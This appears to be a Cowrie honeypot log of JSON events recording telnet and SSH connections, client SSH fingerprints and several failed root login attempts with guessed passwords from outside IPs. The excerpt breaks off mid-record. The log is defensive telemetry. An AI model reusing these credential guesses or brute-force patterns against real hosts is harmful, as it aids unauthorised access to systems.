{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47960,"dst_ip":"10.17.0.5","dst_port":23,"session":"927548f709bd","protocol":"telnet","message":"New connection: 50.6.8.71:47960 (10.17.0.5:23) [session: 927548f709bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:00.338477Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57730,"dst_ip":"10.17.0.5","dst_port":23,"session":"8837a5687ffc","protocol":"telnet","message":"New connection: 50.6.8.71:57730 (10.17.0.5:23) [session: 8837a5687ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:01.955894Z"}
{"eventid":"cowrie.session.closed","duration":120.00263714790344,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:03.132790Z","src_ip":"181.94.225.234","session":"a19f8d49bf0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":45393,"dst_ip":"159.203.135.109","dst_port":23,"session":"82244d7bac11","protocol":"telnet","message":"New connection: 181.94.225.234:45393 (159.203.135.109:23) [session: 82244d7bac11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:03.480089Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c9d344c3b6c","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 5c9d344c3b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:07.732985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:07.738412Z","src_ip":"4.210.91.174","session":"5c9d344c3b6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:07.807915Z","src_ip":"4.210.91.174","session":"5c9d344c3b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"merlin99","message":"login attempt [root/merlin99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:08.109392Z","src_ip":"4.210.91.174","session":"5c9d344c3b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:09.182655Z","src_ip":"4.210.91.174","session":"5c9d344c3b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.93447470664978,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:09.392215Z","src_ip":"50.6.8.71","session":"c2d759db16ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.48234534263611,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:33.820713Z","src_ip":"50.6.8.71","session":"927548f709bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.22000312805176,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:36.175745Z","src_ip":"50.6.8.71","session":"8837a5687ffc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54676,"dst_ip":"10.17.0.5","dst_port":23,"session":"943f7227f74f","protocol":"telnet","message":"New connection: 50.6.8.71:54676 (10.17.0.5:23) [session: 943f7227f74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:42.596600Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":49592,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc85eb98e922","protocol":"ssh","message":"New connection: 200.77.172.159:49592 (159.203.135.109:22) [session: fc85eb98e922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:45.200083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:45.205531Z","src_ip":"200.77.172.159","session":"fc85eb98e922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:45.281346Z","src_ip":"200.77.172.159","session":"fc85eb98e922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.33688282966614,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:45.546888Z","src_ip":"50.6.8.71","session":"0193b7297363","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"2009","message":"login attempt [root/2009] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:45.625761Z","src_ip":"200.77.172.159","session":"fc85eb98e922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:46.706174Z","src_ip":"200.77.172.159","session":"fc85eb98e922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48796,"dst_ip":"10.17.0.5","dst_port":23,"session":"0482bc78363b","protocol":"telnet","message":"New connection: 50.6.8.71:48796 (10.17.0.5:23) [session: 0482bc78363b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:16:55.687597Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48824,"dst_ip":"10.17.0.5","dst_port":23,"session":"7951b48f038e","protocol":"telnet","message":"New connection: 50.6.8.71:48824 (10.17.0.5:23) [session: 7951b48f038e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:04.277769Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47686,"dst_ip":"10.17.0.5","dst_port":23,"session":"416bcba84b41","protocol":"telnet","message":"New connection: 50.6.8.71:47686 (10.17.0.5:23) [session: 416bcba84b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:08.225406Z"}
{"eventid":"cowrie.session.closed","duration":31.227418661117554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:13.823922Z","src_ip":"50.6.8.71","session":"943f7227f74f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57016,"dst_ip":"10.17.0.5","dst_port":23,"session":"43f7b1cea54c","protocol":"telnet","message":"New connection: 50.6.8.71:57016 (10.17.0.5:23) [session: 43f7b1cea54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:19.205212Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57018,"dst_ip":"10.17.0.5","dst_port":23,"session":"df44d6f9db1f","protocol":"telnet","message":"New connection: 50.6.8.71:57018 (10.17.0.5:23) [session: df44d6f9db1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:19.405361Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57036,"dst_ip":"10.17.0.5","dst_port":23,"session":"3296c756bab9","protocol":"telnet","message":"New connection: 50.6.8.71:57036 (10.17.0.5:23) [session: 3296c756bab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:20.910572Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57042,"dst_ip":"10.17.0.5","dst_port":23,"session":"03ec9092916b","protocol":"telnet","message":"New connection: 50.6.8.71:57042 (10.17.0.5:23) [session: 03ec9092916b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:21.214624Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57032,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb7954fe34cf","protocol":"telnet","message":"New connection: 50.6.8.71:57032 (10.17.0.5:23) [session: fb7954fe34cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:23.109432Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"efa6b7ea430d","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: efa6b7ea430d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:25.210339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:25.215945Z","src_ip":"4.210.91.174","session":"efa6b7ea430d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:25.287415Z","src_ip":"4.210.91.174","session":"efa6b7ea430d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"desibaba","message":"login attempt [root/desibaba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:25.588620Z","src_ip":"4.210.91.174","session":"efa6b7ea430d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.35725164413452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:26.044714Z","src_ip":"50.6.8.71","session":"0482bc78363b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:26.658824Z","src_ip":"4.210.91.174","session":"efa6b7ea430d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53132,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fc4ae362d0f","protocol":"telnet","message":"New connection: 50.6.8.71:53132 (10.17.0.5:23) [session: 0fc4ae362d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:33.727739Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":53663,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c48cabf570c","protocol":"telnet","message":"New connection: 49.88.156.34:53663 (10.17.0.5:23) [session: 8c48cabf570c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:36.245966Z"}
{"eventid":"cowrie.session.closed","duration":34.2898325920105,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:38.567446Z","src_ip":"50.6.8.71","session":"7951b48f038e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128037929534912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:39.353329Z","src_ip":"50.6.8.71","session":"416bcba84b41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49460,"dst_ip":"10.17.0.5","dst_port":23,"session":"6071bf01e275","protocol":"telnet","message":"New connection: 50.6.8.71:49460 (10.17.0.5:23) [session: 6071bf01e275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:42.563848Z"}
{"eventid":"cowrie.session.closed","duration":31.112135648727417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:50.317233Z","src_ip":"50.6.8.71","session":"43f7b1cea54c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.18323826789856,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:51.588449Z","src_ip":"50.6.8.71","session":"df44d6f9db1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0016074180603,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:51.791070Z","src_ip":"181.94.225.234","session":"d84eaef5797e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.81106686592102,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:52.721534Z","src_ip":"50.6.8.71","session":"3296c756bab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69971203804016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:52.914239Z","src_ip":"50.6.8.71","session":"03ec9092916b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.206134796142578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:54.315428Z","src_ip":"50.6.8.71","session":"fb7954fe34cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":46364,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb6dc555882b","protocol":"ssh","message":"New connection: 200.77.172.159:46364 (159.203.135.109:22) [session: cb6dc555882b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:55.009971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:55.015694Z","src_ip":"200.77.172.159","session":"cb6dc555882b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:55.091606Z","src_ip":"200.77.172.159","session":"cb6dc555882b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:55.423421Z","src_ip":"200.77.172.159","session":"cb6dc555882b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:56.503156Z","src_ip":"200.77.172.159","session":"cb6dc555882b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00310611724854,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:17:58.894558Z","src_ip":"181.94.225.234","session":"8f7374ae49dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00564289093018,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:03.485614Z","src_ip":"181.94.225.234","session":"82244d7bac11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59052,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ca7d8ffadaf","protocol":"telnet","message":"New connection: 50.6.8.71:59052 (10.17.0.5:23) [session: 0ca7d8ffadaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:03.510387Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":60632,"dst_ip":"159.203.135.109","dst_port":23,"session":"3930ca23fb47","protocol":"telnet","message":"New connection: 181.94.225.234:60632 (159.203.135.109:23) [session: 3930ca23fb47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:04.908310Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59058,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba35c753536f","protocol":"telnet","message":"New connection: 50.6.8.71:59058 (10.17.0.5:23) [session: ba35c753536f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:05.182572Z"}
{"eventid":"cowrie.session.closed","duration":32.085060358047485,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:05.812692Z","src_ip":"50.6.8.71","session":"0fc4ae362d0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52574,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3951ccfb3db","protocol":"telnet","message":"New connection: 50.6.8.71:52574 (10.17.0.5:23) [session: d3951ccfb3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:06.346110Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":48740,"dst_ip":"10.17.0.5","dst_port":22,"session":"f494f4668af7","protocol":"ssh","message":"New connection: 109.237.96.109:48740 (10.17.0.5:22) [session: f494f4668af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:06.504311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:18:06.509177Z","src_ip":"109.237.96.109","session":"f494f4668af7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 